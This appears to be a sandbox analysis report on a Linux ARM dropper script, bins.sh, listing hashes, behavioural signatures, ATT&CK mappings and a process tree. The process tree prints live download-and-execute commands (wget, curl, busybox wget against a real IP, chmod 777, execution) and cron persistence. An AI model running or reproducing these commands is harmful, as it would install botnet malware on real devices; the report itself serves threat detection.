Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
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submitted
12/12/2024, 04:11
General
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Target
bins.sh
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Size
10KB
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MD5
2118fb9c92a7ba630d3685316138e51c
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SHA1
2e6e52d7dca81eb572af0190f76c4ae4476163f7
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SHA256
13d0ad7de82db15e9f2f462a10ad39d4b2eb12ec1724bf934a88093b10f90c34
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SHA512
e4d8fb37070248a12bdd22ef4b1852951590ebd55edcc225d0cf50c918d6ea742e9b026156905a14e2f53fbe6f4d6714aa47615fb10a154e47c82958edd0647d
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SSDEEP
96:FcKNpVakr8kEqPLgvHpC8b7PLgvHcBMDIq8yNptcepQ38S/4X:FcGas8ktPLgvHpCqPLgvHiZc/
Malware Config
Signatures
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Contacts a large (2136) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.164/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.164/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 106inj9otR6duJgzKsGjhlWrN32ycrwJJc2⤵
- File and Directory Permissions Modification
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/tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc./106inj9otR6duJgzKsGjhlWrN32ycrwJJc2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm 106inj9otR6duJgzKsGjhlWrN32ycrwJJc2⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m2⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
210B
MD5891fcf0957561390283cecfd39597025
SHA17df4e2d21f22f32d6da7ac11c5b99b0813864e1e
SHA256bb19f1295e4e599c304ea4f575e7eff6ff4cb362bdc537721b9d6e6990f4627d
SHA5128b704f9a9249a04a3a09d9c2d05ef9cc8a7946166d658e6c6dffc394a1f358ec56d5d18c863d3e3194977e29864c044dc903afeda643c9a2f96e65dfad44319e